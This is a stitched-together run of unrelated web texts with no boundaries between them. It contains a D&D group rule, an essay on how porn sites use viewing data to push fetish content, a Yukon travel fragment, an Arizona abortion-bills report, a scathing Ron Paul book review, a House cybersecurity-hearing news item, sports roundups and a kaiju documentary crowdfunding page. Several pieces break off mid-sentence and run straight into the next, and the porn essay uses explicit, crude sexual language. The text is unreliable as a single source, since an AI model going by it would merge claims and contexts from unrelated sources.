Unfortunately, since we have well over 100 players already rotating into these game it’s already difficult enough to keep track of characters and party balance. So we restrict characters to only content published by WotC. As a courtesy, please let us know if you are using a race or class outside of the Player’s Handbook (such as Volo’s Guide to Monsters or Sword Coast Adventure Guide).It was only a couple of decades ago, before WiFi or the static death shriek of dial-up modems, that fetishes were hard-won secrets. The porno most of us stumbled across in our formative pubescence – a Playboy left on a rural Greyhound bus, or a waterlogged bodice-ripper in a back-alley dumpster – was all hard silicon protuberances and breathy nonsense. It was sexual, so it was almost invariably scintillating. But it was also ultimately just a flattening manifestation of one grotesque, misogynistic fantasy. Figuring out what actually got your motor running required work and guts. You had to dig deep into the bargain boxes of porn shops, open up with strangers (or worse, those you loved), and pray that you could find someone who understood and would accommodate your desires.
The internet changed all of that. Especially as search engines matured, digital voyeurs learned that they could spurt their every impulse and urge into the search bar. And on the other side of the enter key, they would almost invariably find forums collectively celebrating individuals’ secret desires, or enterprising smut-mongers catering directly to them. ‘It had a naming effect,’ says Michael Stabile, a renowned gay pornographer. Today he’s a spokesperson for the website Kink, a pioneer in internet fetish porn that has become a Mecca for folks with an interest in BDSM (bondage, dominance and submission, and sadomasochism). ‘Sexuality has always operated in tandem with pornography. Pornography tends to crystallise desires that you might not have articulated.’
Humanity hasn’t yet worked out how it feels about the internet’s effect on our collective sexuality. Some see it as a liberating force, opening us up to new levels of pleasure, satisfaction and self-understanding. Others see it as corrosive: transgressive stuff like diaper porn – in which young girls stripped naked save for a pair of Depends roll on the floor cooing and gurgling – stokes the flames of paedophilia, prevents people from finding joy in vanilla sex, and drives them to more extreme and troubling perversions, they say. Many more just plug up their ears to avoid this whole uncomfortable and often confoundingly euphemistic debate.
Yet while we debate the ethics of naïfs in nappies, most of us have missed a vital new chapter unfolding in this ongoing saga: the internet is on the verge of another raunchy revolution, one that could again shift the contours of human sexuality. Whereas for the past two decades, erotic entrepreneurs have poured smarm into static fleshpots scattered around the interwebs, confident that fetishists would come to them, now the kink is coming to us. These days you can boot up Pornhub, xHamster or any other popular porn tube site that collects videos from around the web, and there’s a decent chance that you’ll see a moving thumbnail of a topless girl in a diaper. You’re also likely to see flashing images of ‘fauxcest’ porn, in which actors pretending to be step- or blood relations go to town on each other; ‘futa’, in which women ‘grow’ dicks and fuck each other; or some other fetish you used to have to scour to the dark edges of the net to find.
That transsexual gangbang you fapped to last night? That high-def rosebud you clicked on? They probably didn’t just float to the top of some indiscriminate data dump to reach your attention. You saw them because producers and distributors are fitfully learning to harness big data. The desire stew that you dumped into a site’s search bar: they probably recorded and learned from it. Data on what we search for, pay for and click on is being used to predict our desires and funnel us bespoke(ish) porn.
At first blush, it might seem like this kind of micro-targeting would just turbo-boost the internet’s existing trajectory, making it even easier for people to find and embrace a diversity of bodies and fetishes. But there’s a fundamental shift here from a world in which we explore a passive sea of content to a world in which porn actively explores and prescribes itself to us. Because this shift stems from deep financial upheaval in the adult industry, the content pushed upon us will likely increasingly reflect what is most profitable, not what is most widely desirable. It could well become narrowing, or at least channelling, rather than broadening.
Nothing about this nascent shift is certain. But there’s a chance that the intersection of big data, big business and ubiquitous connectivity will give market forces a new foothold to dictate our sexual development via an avenue that, for many, long felt private, idiosyncratic and liberating. In the end, capitalism might prove itself the ultimate arbiter of desire.
Porn is a data goldmine. Going by Alexa traffic rankings, the porn tubes XVideos, Pornhub and xHamster are, right now, the 51st, 63rd, and 88th most-visited sites in the world, respectively. Sites such as these get billions of page views per month from tens of millions of people, all of whom leave (thanks to tracking cookies and IP data) little traces of themselves behind. Studio producers alone churn out more than 10,000 skin flicks per year catering to these horny hordes, far outpacing Hollywood’s 500-or-so offerings. By some (albeit sketchy) estimates, porn adds up to 4 per cent of all sites, 14 per cent of all searches and 30 per cent of all data transfers online.
That pot of numbers is itself porn for the global datarati – the folks who love nothing more than dissecting humanity by the numbers and restructuring the world to streamline our impulses in the name of efficiency. Yet according to Alec Helmy, publisher of the adult industry rag XBIZ: ‘While the importance of data analysis has reached a fever pitch in mainstream tech, it is not yet a major priority for much of pornography.’ In a world dripping with information, porn has remained one of the most intuitive, unscientific and misunderstood modern industries.
The prudish aversion to data’s gaze might seem bizarre, since the porn industry has historically positioned itself as an early adapter of and leader in tech trends. In 1897, just two years after the first commercial screening of a film, bawdy Victorian-era bros started setting sex onto celluloid; the industry pioneered VHS distribution in the 1980s, allowing a copy of Debbie Does Dallas (1978) to find its way into every sock drawer; and perfected most of the tools (and banes) of e-commerce in the 1990s, from electronic billing to encryption, making it relatively safe and easy to stream even the raunchiest images on to your desktop in the dead of night.
Around the turn of the millennium, pornographers even started to use cookie trackers and in-site member surveys to figure out what videos to make within their niche markets. Husband-and-wife pornographers Angie and Colin Rowntree have relied on survey data to create most of the scenes on their for-women site Sssh for the past 17 years. Angie developed the film Gone (2015) based on the account of a Sssh member who’d lost her significant other, a collaboration directly responding to requests for story-driven porn. Gone earned mainstream media buzz for its heat and artistry, and attracted the duo even more for-the-plot viewers – not to mention a deal of scratch.
Porn culture didn’t want big data, and porn economics didn’t need big data – for a while, at least
But according to Ogi Ogas, a Harvard visiting scholar and co-author, with the data analyst Sai Gaddam, of A Billion Wicked Thoughts: What the Internet Tells Us About Sexual Relationships (2011), at its heart the adult industry until fairly recently remained insular and intuitive. As the wider world transformed, porn producers continued to indulge their own at-most-lightly-mediated impulses and gut instincts. They created a bit of everything, filled every possible opening from spit roasting to double penetration to double vaginal. As long as there was a stable market for every type of content, the competitive pushes and pulls that set other industries in search of datagasms couldn’t make serious inroads into porn.
Just as important, anyone inclined to jump on the big-data wagon in the industry wound up frustrated by its fragmentation. Although there was a ton of data out there on the intimate desires of the world, it was spread across thousands of sites, most of which were aggressively opaque, maintaining an air of discretion for customers eager to keep this one slice of their lives private. Porn culture didn’t want big data, and porn economics didn’t need big data – for a while, at least.
Data ultimately got its hooks into porn because of YouTube. By 2007, two years after the video-sharing service launched, erotic entrepreneurs had created clones such as RedTube, Youjizz, and YouPorn. Ostensibly created to make it easier to upload and share free amateur videos, a lack of oversight quickly turned them into repositories for millions of brazenly pirated professionally made films, too.
Denizens of the web flocked to these tube sites, attracted by their troves of diverse and free content. When Ogas investigated them in 2008, they weren’t yet thinking much about data collection. But they soon caught on to the fact that their huge content base and high traffic had inadvertently created the cohesive datasets that the porn industry had always lacked. Powered by ad revenue, the tube sites felt an economic tug to draw more people to their sites for longer chunks of time. Since they had – at least initially – no control over content creation, the name of the game on tube sites for the past few years was content funnelling.
Almost every tube site now has complex tagging systems to optimise searches or to recommend videos based on your viewing habits, ‘trending video’ pages, and some kind of program to push certain content via those channels that’ll draw and lock in desired users. Few sites are willing to open up about the mechanisms by which diaper porn occasionally percolates to the top of the heap for some unsuspecting wankers. But sources at xHamster, the third-largest tube site out there, were willing to tell me about the basics of their content-pushing, which is probably similar to that of other sites.
Every day, a team at xHamster watches roughly 2,500 newly added pornos. Looking at user data collected via Google Analytics and proprietary in-house tools, they determine which ones to put on the front page of the site. They also tweak and develop algorithms to recommend the perfect video based on your searches and watching habits. They’re constantly running A/B testing on their users – throwing different front pages, for instance, to learn more about how your demographic reacts to anal prolapse or Czech gangbang content.
One of the easiest pieces of data to mine is your location, so sites such as xHamster place special focus on learning what porn is hottest where you live, and feeding you more of the same. Everyone loves watching girls dance on webcams, a representative of xHamster told me, but beyond that every country gets something special. ‘German people don’t like the interracial content,’ the rep says. ‘And the Japanese are extremely patriotic. They have zero interest in other categories but for national Japanese ones.’
Colin Rowntree of Sssh, a self-avowed big-data skeptic, says he can get behind this practice. ‘If a site knows that surfers from Iceland tend to prefer tall, muscular blondes wearing furry boots, why not offer those viewers just that?’ he muses. ‘This is the old tried and true Netflix “getting-to-know-you” technology, which is very useful for enhancing the user experience.’
There’s nothing wrong with promoting a fetish. But it’s likely to make certain proclivities more visible
Regional tracking is superficially similar to what the Rowntrees were already doing with their surveys: learning more about their customers and using that information to give them more of the content they’re looking for. But porn-tube data is much broader and blunter than survey results. Given the number of cautious people who search for porn only after disabling cookie trackers and logging out of their other accounts, or while using proxy IP addresses that mask their location, and given the flaws in often crowd-sourced video tags, it’s entirely possible that tubes are messing up. I could be an American kid living in Saudi Arabia and using a German proxy to get my jollies, and as a result never get exposed to the interracial porn I might love. Customised content could be configuring my impressionable mind towards a whole different set of sexual inclinations, submitting it to a haphazard tyranny of the masses – which may not even by my masses.
Even when sites get their targeting right, they might still have a financial interest in drawing in a demographic that is not you. If Pornhub is targeting more women (as they say they are), they might try pushing more story-heavy movies – which today often means fauxcest. In the process, they might wind up pushing incest role-play videos on users who would have never sought them out, driving up interest and engagement in that particular fetish. There’s nothing prima facie wrong with promoting a fetish. But it’s likely to happen disproportionately for some fetishes over others, making certain proclivities more visible than others, and thereby altering our sexual reference points, all in the name of ad clicks.
Jack Kona, a director with 15 years’ experience in the adult industry, thinks that most old-school producers are suffering from Donald Trump Syndrome: they act like they’re rolling in the dough, but when pressed they’re incredibly cagey about their finances. The media, from highbrow think pieces to TV shows such as Silicon Valley, is quick to perpetuate these claims. American porn alone is often pegged as a $50 billion industry.
It’s not. Free tube sites and their rampant piracy have eviscerated traditional pornography. From 2007 to 2011, the industry collapsed by 50 per cent; Kink, an especially successful site, reported its first losses at the end of that period. Larry Flynt, the notorious Hustler mogul, only half-jokingly requested a federal bailout for the industry in 2009. Today, Thierry Arrondo, the managing director of Vendo, an electronic pricing and billing platform serving a number of porn sites, estimates that paysites collectively make about $500 million a year, while live webcam sites pull in another $1 billion.
‘No adult online content provider is going to go belly-up showing young women having sex,’ Ogas notes. But Kona says he’s working four times as hard to make half the money he used to. You basically can’t make any money out of straight, vanilla sex anymore, because there’s so damn much of it available for free. To goose their profits, porn producers – much like distributors – have started to turn to data mining. Unlike the tube sites, though, they’re not using it passively. Instead they’re using it to guide the kind of content they create, deliberately shifting the industry toward more extreme, more profitable genres.
Most porn sites don’t have as much raw data as the tube sites do. So, Arrando explains, they play around with new content and see what does best. They try to offer something others don’t, whether that’s fisting every orifice possible in one sitting or scripting the largest ever faux-incestuous gangbang. For straight sex scenes, performers are doing more physically taxing things – such as anal prolapse, which requires a medical procedure right afterwards every time – more often, and often for much less money. For fetish scenes, straight intercourse is now laced with fake necrophilia, paedophilia or dramatised rape. That’s a big part of why fauxcest, which is much easier to film and perform than, say, a double penetration gangbang, has become incredibly popular, growing by up to 1,000 per cent over the past five years by one estimate.
Some producers just spray content on the wall to see what sticks. But some operations are starting to pay attention to which videos are trending on tube sites; at the same time, sites such as Clips4Sale, a platform for à-la-carte sales by small producers, collect deep and easily accessible data on consumer desire and pricing and payment trends, which producers can freely and easily crunch. The result is cascades of content, with studios and amateurs alike riffing on the same marketable fetishes, giving us years where you suddenly can’t escape cuckold porn or jerk-off instructions.
That herd behaviour is logical, but it’s also troubling for your average schmuck. It means that producers no longer have as much freedom to produce an ocean of diverse content. Instead they churn out a disproportionate amount of content aimed at sexual niche groups that’ll pay more than others. According to Odette Delacroix, an actress and fetish producer who runs a popular diaper site, she branched into that taboo only after she ran her numbers and realised how much folks were willing to pay for that content. And so the cycle unfolded, probably like so: Delacroix made more diaper porn; some of it ended up on the tube sites; devotees found the free content and ate it up; tube sites saw the traffic numbers and threw a clip or two onto their trending page. In the end, some casual fappers wound up with an eyeful of Delacroix as a dirty baby front and centre on their one-stop porn page.
a few decades back, anal was a relatively rare fetish. Today, it’s a routine element of everyday Americans’ sex lives
This push to produce more extreme content in waves, catering to the highest paying customers’ tastes, could soon grow even stronger as tube sites branch out of distribution and start creating their own videos. One firm especially, MindGeek, currently operates or owns 13 tube sites, 10 production companies, and has ties to Playboy and other porn studios such as Really Useful Ltd and Wicked Pictures. ‘Since MindGeek runs most leading [tube] sites, and owns a range of key US production companies, they have a unique position,’ says Susanna Paasonen, a pornography expert at Finland’s University of Turku. They have better data than their competitors on a wider range of people, allowing them to zero in on precise gaps in the market. They could notice, for example, that there’s an intersection between the market for Asian BBW (big beautiful women) porn and porn of girls wearing sailor outfits (to riff on a facetious hypothetical Ogas presented to me). Then they could test to see what happens when they make a movie featuring BBW Asians in sailor uniforms.
We like to think that we’re totally capable of separating pornographic sex from real sex. But, a few decades back, anal was a relatively rare fetish. Today, it’s the bread and butter of mainstream porn, and a routine element of everyday Americans’ sex lives. The same thing happened with oral a few decades prior. Not everyone is convinced that pornography alone drives these changes in lived sexual norms, but it’s definitely at least a contributing factor – and cause for enough concern that folks see fit to make digital TV channels and public service announcements to teach kids the difference between porn and real sex.
If MindGeek starts to produce its own niche content, it’ll heap even more pressure on competitor producers to hold on to the most profitable corners of the market. Overall, the porn that’s out there will get more extreme. Things that were once fetishes might become routine. Young consumers could find themselves growing more comfortable with sexual gymnastics and other behaviours long regarded as oddities. Human sexuality might be increasingly shaped by what kind of porn will still sell in an era beset by filthy, filthy pirates.
It might seem peculiar that there has been so little cultural objection to the spread of porn that actively targets its customers, that makes increasingly potent recommendations, and could preferentially guide viewers toward extreme fetishes. My hunch is that part of the reason for our blasé acceptance stems from the sanitised way that the porn tubes have presented their use of data. In 2013, Pornhub formed a user-data analysis unit and immediately made marketing and social outreach the team’s public priority, according to their vice president Corey Price. Its first ever post that June tracked traffic on the site during the National Basketball Association finals – a gimmick designed to court BuzzFeed-style coverage and to treat porn consumption as just one more bit of pop-culture gossip.
Meanwhile, behavioural experts vocally doubt whether targeted pornography will really affect us, given how rarely people change their established preferences, to which they flock regardless of what’s being flung at them. The rise of porn data, some of them argue, just makes it easier for people to locate and talk about their sexual happy places. Antoine Mazières, one of the brains behind Sexualitics, a blog that mines porn data for insights on human behaviour, suggests that even that user-experience boost is a long way off, given how poorly some tube sites’ tagging systems operate. Industry experts echo this attitude; Kink’s Stabile thinks that targeting will at most introduce people to fetishes they’re already predisposed to like but wouldn’t have known how to find in the past.
Yet these perspectives discount the experience of novices diving in with ill-formed preferences and of those who just tend to go with the flow. They |
came and, thankfully, left.”
Cruise ships now bring cheechakos to Bennett from Japan, Sweden and beyond, most of them not expecting to find a Trump franchise. “Believe me, we didn’t come to see that,” says Gary Graff, a visitor from Kentucky. “We’re grateful that Canadians even let us into the country, given the man in the executive mansion.” The region also attracts cross-country skiers to the Buckwheat Ski Classic, an annual race that began with the explicit purpose of luring beautiful women in the winter.
Bennett’s national historic site protects plants as exotic as the Northern Bastard Toadflax, and the town has only one resident, a Tlingit woman who maintains her family’s trap line. She lives up the shore from the Arctic Hotel reconstruction project, where artifacts still lie on the lawns—a shriveled mattress spring; a women’s salmon-coloured shoe.Arizona lawmakers gave final passage to three anti-abortion bills Tuesday afternoon, including one that declares pregnancies in the state begin two weeks before conception.
The Republican-controlled House of Representatives passed a bill to prohibit abortions after the 18th week of pregnancy; a bill to protect doctors from being sued if they withhold health information about a pregnancy that could cause a woman to seek an abortion; and a bill to mandate that how school curriculums address the topic of unwanted pregnancies.
All of the bills passed the Senate and now head to Gov. Jan Brewer (R) for her signature or veto.
The 18th week bill includes a new definition for when pregnancy begins. A sentence in the bill defines gestational age as "calculated from the first day of the last menstrual period of the pregnant woman," which would move the beginning of a pregnancy up two weeks prior to conception. The bill's passage would give Arizona the earliest cutoff for late-term abortions in the country; most states use 20 weeks as a definition.
But while the bill's definition of when pregnancy begins is new in legislation, it's not necessarily new for doctors. Elizabeth Nash, states issues manager for Guttmacher Institute, a reproductive health research organization in Washington, said it corresponds with how doctors typically determine gestational age. She said since the exact date of conception cannot be pinpointed, doctors use the day of the woman's last menstrual period to gauge the duration of a pregnancy. The method does not provide an exact date.
"It will have some impact, from what we understand there are abortions provided at that point in Arizona," Nash said. "It will reduce access."
Nash said nationally, 1.5 percent of abortions in the U.S. occur after the 21st week and 3.8 percent occur between the 16th and 20th weeks. She said the bill would violate U.S. Supreme Court rulings on abortion by mandating a cutoff date that is before viability and not having enough provisions for late-term abortions needed to protect a woman's health.
State Rep. Kimberly Yee (R-Phoenix), the bill's sponsor, was not immediately available for comment. Her assistant said that Yee, a former aide to former California Gov. Arnold Schwarzenegger (R), was voting on the House floor.
State Rep. Matt Heinz (D-Tucson), a physician, said he did not want the state to set the gestational age since science could not provide a precise one. "I imagine it will be a legal dispute. How can a judge determine gestational age?" Heinz said. "If medical science can only determine gestational age to within 10-14 days, how can a superior court judge do it?"
The other two bills passed by the House include the state's "wrongful birth, wrongful life" bill that prohibits lawsuits against doctors who do not provide information about a fetus' health if that information could lead to an abortion. In addition, parents cannot sue on the child's behalf after birth.
The third bill requires that schools teach students that adoption and birth are the most acceptable outcomes for an unwanted pregnancy.
All three bills are now headed to Brewer's desk for her review. The governor has not announced a position on the bills, which is her practice, but her spokesman indicated that Brewer has a long commitment to pro-life issues.If there’s one thing that the 2012 campaign has taught us about Ron Paul, it’s that he is a bald-faced liar. Not just a run-of-the-mill liar like most politicians, but a liar so shameless that only the most slavish of devotees could maintain respect for him. Brian Doherty, a senior editor of Reason magazine and the author of a well-received book about the libertarian movement, is just such a follower. Unfortunately, what could have been a fascinating peek into the leader of a fringe political movement ends up being little more than a love letter to Paul that, like all love letters, exhibits a willful blindness toward the glaring defects in the object of the author’s affection.
The lies Doherty can’t bring himself to acknowledge, let alone criticize, concern the notorious newsletters that the libertarian guru Paul published from the late 1970s through 1996, the bulk of which I uncovered and exposed in a 2008 article for The New Republic. The full contents of these “bigot-grams,” as the Dallas Morning News referred to them, need not be fully rehearsed here, but needless to say they are replete with ugly statements about gays, blacks, and Jews, not to mention endorsements of a variety of quack scientific claims, support for the right-wing militia movement, and defenses of such loathsome individuals as David Duke, Marge Schott, and Bobby Fischer.
Paul’s acknowledgment of his involvement, or lack thereof, in the newsletters, evolved from a defense of their contents in 1996 to telling CNN in December of last year, “I’ve never read that stuff.” A former secretary of Paul’s told The Washington Post, however, that Paul “would proof” the newsletters, a claim seconded by another erstwhile aide. It is frankly inconceivable that Paul was unaware of what was being produced in his own name and to his massive personal enrichment.
Doherty has no interest at all in this controversy and in what it says about Ron Paul. Granted unprecedented access to the Texas congressman and his inner circle (including Lew Rockwell, the vituperative “paleolibertian” activist whom many suspect played a key role in the newsletters), Doherty appears to have asked no one in Paul-world about them. So blinded is he by ideological devotion to Paul’s smash-the-state agenda, Doherty doesn’t mind that the vessel is a highly compromised individual who, whatever his beliefs, is clearly willing to lie through his teeth rather than shed more light on his dark associations. When potential leads stare him right in the face, Doherty ignores them. He takes Paul’s impossible denials at face value and then goes out of his way to downplay the severity of the scandal, dismissively writing that, “the people ghostwriting Paul’s Survival Report newsletter indulged in some occasional mean and contemptuously jokey references to blacks.”
Consider Doherty’s mention of Paul’s association with Gary North, one of the original members of his congressional staff. Referring to North as “controversial,” Doherty reveals that he is a “Christian Reconstructionist” who advocates the death penalty for homosexuality and adultery. Wouldn’t you be interested to know why Ron Paul hired this man to work for him? Doherty appears not to care.
Doherty likewise writes, “In the early days of AIDS, Paul was rumored to actually favor some sort of forced quarantine of victims; Paul denied that vehemently.” Perhaps the reason why Paul was “rumored” to support such a quintessentially unlibertarian idea could be found in the newsletters that Doherty ignores, in which he scaremongers about the alleged casual transmission of HIV and declared that “we must also allow local school boards to ban AIDS carriers from the public schools.”
Writing of Paul’s obsessive musings about the Council on Foreign Relations, Doherty says that Paul “denied believing that they ‘ran the world’ in any movie-villain conspiratorial sense,” which is a rather low threshold for assessing the man’s political judgment. Doherty mentions only in passing Paul’s frequent and vocal warnings about the “North American Union,” the political merger of the U.S., Canada, and Mexico that exists only in the heads of Paul and his acolytes. Similarly Doherty is unbothered by Paul’s speaking before the John Birch Society (a group that William F. Buckley Jr. expelled from the conservative movement for being too right wing—in 1962), or his frequent guest appearances on the radio program of Alex Jones, a man who makes your average street corner Armageddon ranter sound sane.
If Paul’s warnings about fiscal crisis sound vaguely prescient, as Doherty argues, it’s because he’s been peddling the same shtick about impending financial doom for decades. For Paul, fascism is always around the corner. In 1983 he announced that “the final tragic consequence of the abuse of government power and currency destruction is war.” With civil strife apparently still on the horizon, he followed this up with the claim that “government growth is so much out of control that we are dangerously close to the point of becoming a totalitarian state—in spite of the superficially good times in which we currently live.” Several months later came the warning that “we are literally entering the last stage of a system that is destined to fail. The system must be replaced, and indeed, time is running out.” In 1989 one of his “predictions for the 1990s” was “The American Republic Will Be Replaced With Democratic Fascism.”
To best understand Paul and his followers, one should read, or reread, Richard Hofstadter’s The Paranoid Style in American Politics. The former Columbia University historian wrote, “We are all sufferers from history, but the paranoid is a double sufferer, since he is afflicted not only by the real world, with the rest of us, but by his fantasies as well.” This article was written in 1964, a dozen years before Ron Paul first entered Congress. But it does far better work explaining him than Brian Doherty’s hagiography.Last week, Democrats on the House Science, Space and Technology Committee sent panel leadership a snarky letter positing that, if the committee was so interested in Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE's email server scandal last year, it must also be interested in security shortcomings at the Trump White House.
Monday, on a conference call previewing a a Tuesday hearing on cybersecurity, a GOP committee aide responded in kind.
“From a certain standpoint, [the letter] can be seen as a positive sign because last Congress we undertook to look at the OPM cyber attack and breach, multiple breaches at the [Federal Deposit Insurance Corporation], attacks at the IRS and so on and so forth. And while we were looking at those things, the minority was telling us we were off on the wrong track, we were turning cybersecurity into politics and all the investigations into [Office of Personnel Management] and so forth were awful and illegitimate,” the aide said.
“So any expression of support for the committee to discharge its authorities — and we do have them as far as [the Federal Information Security Management Act] and cybersecurity is concerned — is a good thing. “
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Recent media reports claim President Trump continues to use his old, unsecured smartphone despite being issued a secure one, that Trump aides use private email accounts and that the president’s Twitter account had not been properly secured.
Democratic Reps. Eddie Bernice Johnson (Texas), Don Beyer (Va.), and Dan Lipinski (Ill.) penned the letter to suggest using the Tuesday hearing to discuss these issues.
“We are writing to inform the Committee of further opportunities to investigate Executive Branch cybersecurity issues that have been of intense interest to you in the past,” they wrote.
A Democratic Science staffer said she anticipated the Democrats would ask questions along those lines Tuesday.
The hearing is set to discuss recommendations to improve cybersecurity from the Commission on Enhancing National Cybersecurity and Center for Strategic International Studies published in December and January, respectively. The commission report was ordered by then-President Obama in April to provide some suggestions for the next administration.
Aides for the Science Committee note that the Committee will not be able to discuss an important third document — a hotly anticipated cybersecurity executive order that has been in the works.
Heading into Tuesday's hearing, Democratic staff pushed back on the characterization that the party was soft on cyber security issues, noting, for example, that Democrats took a hard line on the OPM and FDIC breaches.
"I understand you just arrived at FDIC in November and that the [Chief Information Officer's] office has suffered from a lack of consistent leadership for some time," said Beyer in a May hearing addressing a new CIO at the FDIC, an agency House Science alleges has been uncooperative with the committee.
"You are now the fourth CIO the FDIC has had in the past four years. I hope that you will be able to bring some stability to that office. But equally important is establishing a solid foundation built on reliability and openness with Congress. I hope that you will strive to do that as well."
—Morgan Chalfant contributed. Updated Tuesday at 10:22 a.m.Swiss tennis champion Roger Federer, winner of 18 Grand Slam singles titles, will play his first match in Seattle on April 29.
Swiss tennis champion Roger Federer, winner of 18 Grand Slam singles titles, will play his first match in Seattle on April 29. Federer will take on American John Isner at KeyArena in an exhibition match to support children’s education in Africa.
Celebrity guests including Bill Gates will also play. Tickets go on sale Thursday with net proceeds benefiting the Roger Federer Charitable Fund/Roger Federer Foundation.
“I believe in the power of people. We know that a good education is a decisive factor to empower children by allowing them to take their future into their own hands,” Federer said in a statement.
Said Gates: “I’m a huge fan of Roger’s work on and off the court. We share a love of tennis (although he might be a little better than I am) and a belief that all children deserve a world-class education.”
Seattle U baseball rallies past Huskies
Visiting Seattle U scored three runs in the seventh inning and held on for a 4-2 nonconference win over Washington at Husky Ballpark.
The Huskies (16-11) held a 2-0 lead through five innings thanks to Willie MacIver’s two-run single before the Redhawks (9-18) got going. Dalton Hurd had a solo homer for Seattle U in the sixth inning.
In the seventh, Michael Ciancio tied it with an RBI single, Jack Reisinger drove in the go-ahead run with a sacrifice fly and Austin Lively gave the Redhawks a two-run lead with an RBI single.
Tyler Oldenberg allowed one hit in 31/3 innings of relief to pick up the win.
Women’s golf
Washington claimed the title at the 14-team Hawkeye El Tigre Invitational in Puerto Vallarta, Mexico. The Huskies finished with a 9-over 873 (295-298-280).
UW was led by freshman Ellen Takada, who tied for second with a 1-under 215 (74-72-69). She was joined in the top 10 by freshman Karen Miyamoto (1-over 217) and sophomore Wenyung Keh (3-over 219). Sophomore Julianne Alvarez tied for 24th with a 7-over 223.
Men’s golf
Seattle University finished third at its Redhawk Invitational at Chambers Bay Golf Course in University Place.
The 18-team field played two par-71 rounds Monday at the 7,223-yard course that hosted the 2015 U.S. Open. The tournament closed with a par-70, 7,057-yard round Tuesday.
The Redhawks finished with a 12-over 860 (286-296-278), seven strokes behind team champion Iowa State (5-over 853). Northwestern’s Dylan Wu won the individual title with a 7-under 205.
Zack Overstreet led SU by shooting a 2-under 210 (72-71-67) for seventh place. Kyle Cornett tied for 12th at 4-over 216.
Women’s soccer
In their first preseason match of 2017, Seattle Reign FC won 3-2 over UCLA in California. Naho Kawasumi scored the first Reign goal in the 15th minute. With five minutes left in the match, Christine Nairn’s free kick found the back of the net for the game-winning goal.
Volleyball
Washington State’s McKenna Woodford is one of 12 players chosen for the U.S. Women’s Collegiate National Volleyball Team that will tour Thailand in May, USA Volleyball announced.What is KAIJU GAIDEN?
"Kaiju" is the Japanese word for "monster", meaning "strange beast". "Gaiden" is a Japanese word which means "outside story". It normally refers to a supplemental story or spin-off. KAIJU GAIDEN is the continuing story of the giant monster genre.
KAIJU GAIDEN is also the title of a documentary film by director/producer David Hall spotlighting various Japanese filmmakers who have continued the tradition of tokusatsu (special effects) movies. It is part of the Independent Kaiju Project, an endeavor by producer Mark Jaramillo to track down, catalog, and promote independently made kaiju films that have languished in obscurity.
KAIJU GAIDEN is the first documentary which assemble various filmmakers who have produced their own movies featuring gigantic monsters stomping cities and engaging in savage battle with one another. Although made at different time periods, the directors still utilize traditional special effects techniques unique to the genre, sometimes supplemented with modern technology. The directors will tell their respective stories of their love for the genre, their inspirations, and the issues involved in making a special effects film.
These are the untold stories of giant monsters and the men who make them. This is KAIJU GAIDEN.
THE FEATURE
The documentary includes interviews with the featured directors and footage of their respective films:
Shizuo Nakajima, Director of Legendary Beast Wolfman vs Godzilla
Shinpei Hayashiya Director of Reigo, Raiga, and Gamera 4: Truth
Masahiko Katto, known for Zeran, and Atragon 2
Shinichi Wakasa, SFX artist on many Kaiju Films
-Pictured above: Actors Shima Shitosi and Ishihara Ema, Main actors from Legendary Beast Wolfman vs Godzilla.
-Fuyuki Shinada, Special Effects Artist, Worked on Monster X, and Legendary Beast Wolfman vs Godzilla.
Kiyotaka Taguchi, Director of G and Gehara
Shingo Maehata, Director of Zella: Monster Martial Law
THE REWARDS
Lobby Cards:
Preview of 1 of 4 Lobby Cards that is available for Kaiju Gaiden. 11x14 Lobby Cards designed by the talented Alex Rushdy
Poster A:
Kaiju Gaiden Poster designed by IDW and renowned comic artist, Jeff Zornow. This fantastic poster will be printed at 27x40 movie size.
Poster B:
Kaiju Gaiden Poster designed by IDW and famous comic artist, Matt Frank. This fantastic poster will be printed at 27x40 movie size. You can order both posters through Kickstarter rewards.
Chibi:
A Limited run of Legendary Beast Wolfman Chibi's have been handmade for Kaiju Gaiden by Alex Merdich
Bust:
An extremely limited run of Legendary Beast Wolfman Busts have been handmade for Kaiju Gaiden by Alex Merdich
THE TEAM
STRETCH GOALS
Filming takes place this October, and your contributions will help us to complete the story upon our return.
When donors receive updates, it will be of behind the scenes in Japan, as the funding is still ongoing! The more funding we receive, the more we can expand upon the original idea and make this project even more awesome!
$35K Monthly 20 min ONLINE SHOWS (Free)- The many segments and films that were not able to be included within the film can be added as bi-weekly webisodes. We have that much content, and that many films to talk about! This would be planned for 2 years, Starting in January 2015. Episodes would feature interviews and clips, and hosted by Mark Jaramillo and/or David Hall. It Would be available on Youtube and for Digital Download.
$42K MULTI LANGUAGE SUPPORT- Français, Deutsch, Español, and additional requested languages. If you have a language format you need to request (if this goal is met), please message us on our facebook page. The more requests I receive the more I know the demand.
$55K A follow-up documentary - Myself and Mark planned for many additional documentaries related to independently made and rare Kaiju/tokusatsu even collectively planning some out. This will immediately go into pre-production, except this time it will focus on monsters from a different region!
$70K+ A Bonus Disk - A bonus disk with even more interviews and content will be added. It will also be made available as digital download.
Project Thanks
Tetsu Shiota - who's advice and help made planning possible.
Atsuko Tsunakawa - who helped us plan and reserve spaces in japan.
Yoichi Kakuma - who helped translate many emails.
Abel Alfonso - who helped communicate with Japanese interviewees.
Lance of CreepyCult - who is creating magnets for the project.
Edward Roberts - who provided lighting for this project.
Tim Bean - For helping us Promote everyday.
John DeSentis - For composing music for the film.
Thank you all very much, you all hold a very special place in my heart for making this film happen.
.
Thank you for all your support! Please follow us at the listed sites for more information!Jonny Hayes scored twice at Tynecastle as Aberdeen brushed St Johnstone aside to reach the League Cup final.
The little winger converted from close range after three minutes.
The Dons then needed to defend stoutly to preserve their lead before the advantage was extended by a composed Peter Pawlett finish.
After the interval, Adam Rooney raced clear to shoot home and Hayes found the net again with a powerful shot as the St Johnstone challenge faded.
The result means a first final in 14 years for the Dons who had the backing of around three quarters of a packed stadium.
The men in red were first to threaten when a sharp shot on the turn from Rooney was tipped over by keeper Stevie Banks.
Lee Croft missed St Johnstone's best chance in the first half
The veteran goalie was deputising for the suspended Alan Mannus and it was his poor clearance that led to the opening goal.
Rooney gathered the scuffed goal-kick on the right and left Brian Easton behind before rolling a pass beyond a static Steven Anderson for Hayes to slide in and bundle home from close range.
St Johnstone responded with a concerted period of pressure, forcing six first-half corners and pinning the Dons back.
However, Aberdeen defended determinedly, with Mark Reynolds and Andrew Considine impressing at the back for Derek McInnes's side.
